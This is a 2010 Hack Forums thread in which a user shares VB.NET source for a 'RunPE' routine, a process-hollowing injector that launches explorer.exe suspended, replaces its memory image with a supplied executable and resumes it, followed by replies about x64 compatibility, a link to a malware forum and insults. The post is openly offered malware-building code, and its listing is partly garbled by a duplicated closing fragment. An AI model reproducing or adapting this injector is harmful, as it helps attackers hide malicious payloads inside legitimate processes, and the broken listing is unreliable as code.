

Forum:[Hack Forums](#)

Thread: [FREE x64Bit RunPE \[No Shitcash or anything\]](#)

kbhawkman - August 23, 2010, 4:12 pm

I can not remember where I found this RunPe but here you go:

RunPE:

Code Imports System.Runtime.InteropServices

Imports System.Text

Public Class RunPE

<DllImport("kernel32")> _

Private Shared Function CreateProcess(appName As String, commandLine As String, builder As StringBuilder, procAttr As IntPtr, thrAttr As IntPtr, <MarshalAs(UnmanagedType.Bool)> inherit As Boolean, creation As Integer, _

env As IntPtr, curDir As String, sInfo As Byte(), pInfo As IntPtr()) As

<MarshalAs(UnmanagedType.Bool)> Boolean

End Function

<DllImport("kernel32")> _

Private Shared Function GetThreadContext(hThr As IntPtr, ctxt As UInteger()) As

<MarshalAs(UnmanagedType.Bool)> Boolean

End Function

<DllImport("ntdll")> _

Private Shared Function NtUnmapViewOfSection(hProc As IntPtr, baseAddr As IntPtr) As

UInteger

End Function

<DllImport("kernel32")> _

Private Shared Function ReadProcessMemory(hProc As IntPtr, baseAddr As IntPtr, ByRef buf As IntPtr, bufSize As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean

End Function

<DllImport("kernel32.dll")> _

Private Shared Function ResumeThread(hThread As IntPtr) As UInteger

End Function

<DllImport("kernel32")> _

Private Shared Function SetThreadContext(hThr As IntPtr, ctxt As UInteger()) As

<MarshalAs(UnmanagedType.Bool)> Boolean

End Function

<DllImport("kernel32")> _

Private Shared Function VirtualAllocEx(hProc As IntPtr, addr As IntPtr, size As IntPtr, allocType As Integer, prot As Integer) As IntPtr

End Function

<DllImport("kernel32", CharSet := CharSet.Auto, SetLastError := True)> _

Private Shared Function VirtualProtectEx(hProcess As IntPtr, lpAddress As IntPtr, dwSize As IntPtr, flNewProtect As UInteger, ByRef lpflOldProtect As UInteger) As Boolean

End Function

<DllImport("kernel32.dll", SetLastError := True)> _

Private Shared Function WriteProcessMemory(hProcess As IntPtr, lpBaseAddress As IntPtr, lpBuffer As Byte(), nSize As UInteger, lpNumberOfBytesWritten As Integer) As Boolean

End Function

```
Public Shared Function InjectPE(bytes As Byte(), surrogateProcess As String) As Boolean
Try
    Dim procAttr As IntPtr = IntPtr.Zero
    Dim processInfo As IntPtr() = New IntPtr(3) {}
    Dim startupInfo As Byte() = New Byte(67) {}

    Dim num2 As Integer = BitConverter.ToInt32(bytes, 60)
    Dim num As Integer = BitConverter.ToInt16(bytes, num2 + 6)
    Dim ptr4 As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H54))

    If CreateProcess(Nothing, New StringBuilder(surrogateProcess), procAttr, procAttr, False, 4, _
        procAttr, Nothing, startupInfo, processInfo) Then
        Dim ctxt As UInteger() = New UInteger(178) {}
        ctxt(0) = &H10002
        If GetThreadContext(processInfo(1), ctxt) Then
            Dim baseAddr As New IntPtr(ctxt(&H29) + 8L)

            Dim buffer__1 As IntPtr = IntPtr.Zero
            Dim bufferSize As New IntPtr(4)

            Dim numRead As IntPtr = IntPtr.Zero

            If ReadProcessMemory(processInfo(0), baseAddr, buffer__1, CInt(bufferSize), numRead) AndAlso
                (NtUnmapViewOfSection(processInfo(0), buffer__1) = 0) Then
                Dim addr As New IntPtr(BitConverter.ToInt32(bytes, num2 + &H34))
                Dim size As New IntPtr(BitConverter.ToInt32(bytes, num2 + 80))
                Dim lpBaseAddress As IntPtr = VirtualAllocEx(processInfo(0), addr, size, &H3000, &H40)

                Dim lpNumberOfBytesWritten As Integer

                WriteProcessMemory(processInfo(0), lpBaseAddress, bytes, CUInt(CInt(ptr4)),
                    lpNumberOfBytesWritten)
                Dim num5 As Integer = num - 1
                For i As Integer = 0 To num5
                    Dim dst As Integer() = New Integer(9) {}
                    Buffer.BlockCopy(bytes, (num2 + &Hf8) + (i * 40), dst, 0, 40)
                    Dim buffer2 As Byte() = New Byte((dst(4) - 1)) {}
                    Buffer.BlockCopy(bytes, dst(5), buffer2, 0, buffer2.Length)

                    size = New IntPtr(lpBaseAddress.ToInt32() + dst(3))
                    addr = New IntPtr(buffer2.Length)

                    WriteProcessMemory(processInfo(0), size, buffer2, CUInt(addr), lpNumberOfBytesWritten)
                Next
                size = New IntPtr(ctxt(&H29) + 8L)
                addr = New IntPtr(4)

                WriteProcessMemory(processInfo(0), size, BitConverter.GetBytes(lpBaseAddress.ToInt32()),
                    CUInt(addr), lpNumberOfBytesWritten)
                ctxt(&H2c) = CUInt(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40))
                SetThreadContext(processInfo(1), ctxt)
            End If
        End If
    End If
Catch
    Return False
End Try
End Function
```

```
End If
End If
ResumeThread(processInfo(1))
End If
Catch
Return False
End Try
Return True
End Function
End Class
Usage:
Code RunPE.InjectPE(file, "C:\Windows\explorer.exe")
Credits to the coder (I don't know who that is).
I tested this on my computer which was Windows 7 Ultimate 64Bit.
```

itmone22 - August 23, 2010, 4:13 pm
will use this for sureee

thanks

kbhawkman - August 23, 2010, 4:13 pm
(Aug 23, 2010 04:13 PM)itmone22 Wrote: [\[CITE\]](#) will use this for sureee

thanks
No problem. I hope it comes in useful for everyone.

BadBoyOwnz - August 23, 2010, 4:14 pm
Anyone tested?.. Does this work?

kbhawkman - August 23, 2010, 4:15 pm
(Aug 23, 2010 04:14 PM)BadBoyOwnz Wrote: [\[CITE\]](#) Anyone tested?.. Does this work?
I tested it on Windows7 Ultimate 64 Bit and it works for me.

Svens0n - August 23, 2010, 4:23 pm
(Aug 23, 2010 04:15 PM)kbhawkman Wrote: [\[CITE\]](#) I tested it on Windows7 Ultimate 64 Bit and it works for me.
for me only window popped up ,but the injected file wont run.

Windows 7 64x

J4mmy - August 23, 2010, 4:43 pm
What is this? I'm a smith on VB coding. Started today by reading some tutorials but still can't understand anything lol. So my question is what does this do and what it is?

Hli4S - August 23, 2010, 4:49 pm
thnxx i hope it will work i will test it tommorow...

Kink - August 23, 2010, 4:51 pm
This will not work on managed applications.

pr0t0typ3 - August 23, 2010, 5:06 pm
I'm really sorry but I don't think this will work as the getprocesscontext is not made for x64 process architecture... for that reason microsoft provided another api for x64 processes which is not fully

documented -. nearly useless

Zer0Fact0r - August 23, 2010, 5:39 pm

(Aug 23, 2010 05:06 PM)pr0t0typ3 Wrote: [\[CITE\]](#) I'm really sorry but I don't think this will work as the `getprocesscontext` is not made for x64 process architecture... for that reason microsoft provided another api for x64 processes which is not fully documented -. nearly useless
This is the same thing as the one posted by Farhan, which works.

pr0t0typ3 - August 23, 2010, 5:55 pm

(Aug 23, 2010 05:39 PM)Zer0Fact0r Wrote: [\[CITE\]](#) This is the same thing as the one posted by Farhan, which works. It is but there is a little trick about the file to inject to (Process architecture)... I won't tell you more as you have to get it before you use it ...

Zer0Fact0r - August 23, 2010, 6:12 pm

(Aug 23, 2010 05:55 PM)pr0t0typ3 Wrote: [\[CITE\]](#) It is but there is a little trick about the file to inject to (Process architecture)... I won't tell you more as you have to get it before you use it ...
I already know how to make the RunPE work ;) Even when you run it on your own file.

Rue - August 23, 2010, 7:29 pm

You got it here you tard:

<http://malwares-in.net/forum/Thread-C-Working-X64-X86-RunPE.html>

codepoet - August 23, 2010, 7:39 pm

(Aug 23, 2010 04:51 PM)Kink Wrote: [\[CITE\]](#) This will not work on managed applications.
Just the answer i needed.. thanxx

kbhawkman - August 23, 2010, 7:41 pm

(Aug 23, 2010 07:29 PM)Rue Wrote: [\[CITE\]](#) You got it here you tard:

<http://malwares-in.net/forum/Thread-C-Working-X64-X86-RunPE.html>

No actually I did not. I am not even a member there.... you TARD!

Rue - August 23, 2010, 7:43 pm

(Aug 23, 2010 07:41 PM)kbhawkman Wrote: [\[CITE\]](#) No actually I did not. I am not even a member there.... you TARD!

Hmm, same variable/method/class names... Your a dumb fuck... That's were you got it, or someone else got it and you leached it off them. Think before you talk. And stop leeching.

kbhawkman - August 23, 2010, 8:16 pm

(Aug 23, 2010 07:43 PM)Rue Wrote: [\[CITE\]](#) Hmm, same variable/method/class names... Your a dumb fuck... That's were you got it, or someone else got it and you leached it off them. Think before you talk. And stop leeching.

I am not a leecher, I said credits to coder, I found it somewhere here on HF or someone gave it to me, I can not remember. But fuck you for being a asshole.

/Thread Closed